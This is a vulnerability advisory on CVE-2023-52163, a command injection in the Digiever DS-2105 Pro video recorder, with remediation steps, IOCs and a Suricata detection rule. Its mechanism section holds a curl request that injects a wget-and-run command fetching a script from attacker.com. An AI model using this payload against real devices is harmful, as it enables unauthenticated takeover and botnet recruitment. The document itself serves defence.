CVE-2023-52163: Digiever DS-2105 Pro -- Missing Authorization / Command Injection

Background

The Digiever DS-2105 Pro is a Network Video Recorder (NVR) used in physical security systems to record and manage IP camera feeds. NVRs are ubiquitous in commercial and industrial security deployments but are frequently neglected from a cybersecurity perspective — they are deployed, configured once, and rarely updated.

CVE-2023-52163 was originally identified in 2023 and CISA added it to the KEV catalog on 2025-12-22, indicating that attackers are actively targeting these devices two years after disclosure. The vulnerability combines a missing authorization check (CWE-862) with command injection via the time_tzsetup.cgi endpoint, enabling unauthenticated remote code execution.

NVR devices occupy an interesting dual position: they exist on corporate or facility networks while being directly internet-facing for remote access, and they provide attackers with live video feed access and a persistent beachhead in physical security infrastructure.

Technical Mechanism

CWE-862 (Missing Authorization) means the CGI endpoint processes requests without verifying the caller is authenticated. Combined with command injection, this is a critical unauthenticated RCE chain.

# Malicious HTTP request to vulnerable CGI endpoint
curl -X POST "http://nvr.target.com/cgi-bin/time_tzsetup.cgi" \
  --data "timezone=UTC; wget http://attacker.com/bot.sh -O /tmp/bot.sh && sh /tmp/bot.sh #"

# The NVR executes:
# tzconfig --set UTC; wget http://attacker.com/bot.sh -O /tmp/bot.sh && sh /tmp/bot.sh

The time_tzsetup.cgi handler takes a timezone parameter and incorporates it directly into a shell command for system clock configuration. With no authentication gate and no input sanitization, the attacker achieves arbitrary command execution as the web server user, typically root on embedded Linux devices.

Real-World Exploitation Evidence

CISA’s KEV listing in December 2025 for a 2023 vulnerability confirms ongoing exploitation. NVR devices running embedded Linux are prime botnet recruitment targets. Mirai-derived botnets and their successors specifically target NVR devices for DDoS botnet enrollment, proxying criminal network traffic, and cryptomining. Compromised NVRs in corporate environments also give attackers access to physical security camera feeds, enabling operational surveillance of target facilities.

Impact Assessment

• Unauthenticated remote code execution on the NVR device
• Access to all connected IP camera feeds
• Enrollment in DDoS botnets
• Pivot to corporate or facility networks via the NVR’s network position
• Persistent implant installation with access to physical security infrastructure
• Surveillance of physical premises via camera access

Affected Versions

Remediation Steps

1. Contact Digiever for available firmware updates; apply immediately if available.
2. Remove DS-2105 Pro devices from internet-facing exposure immediately.
3. Place NVRs on an isolated network segment (VLAN) with no direct internet access.
4. Use VPN for remote access to NVR management rather than direct internet exposure.
5. If internet exposure cannot be eliminated, implement IP allowlisting for management access.
6. Monitor network traffic from NVR IPs for anomalous outbound connections.

Detection Guidance

Log Sources: Web server access logs on the device, network flow data, IDS/IPS.

IOCs: POST requests to time_tzsetup.cgi containing shell metacharacters; unusual outbound connections from NVR IP addresses; increased CPU or network utilization from NVR.

Suricata rule:

alert http $EXTERNAL_NET any -> $HOME_NET any (
  msg:"ET EXPLOIT Digiever NVR Command Injection CVE-2023-52163";
  flow:established,to_server;
  content:"POST"; http_method;
  content:"time_tzsetup.cgi"; http_uri;
  content:"timezone="; http_client_body;
  pcre:"/timezone=[^&]*[\;\|\`]/Pi";
  classtype:web-application-attack;
  sid:2099008; rev:1;
)

Timeline

References

• NVD — CVE-2023-52163
• CISA KEV — CVE-2023-52163
• MITRE CVE — CVE-2023-52163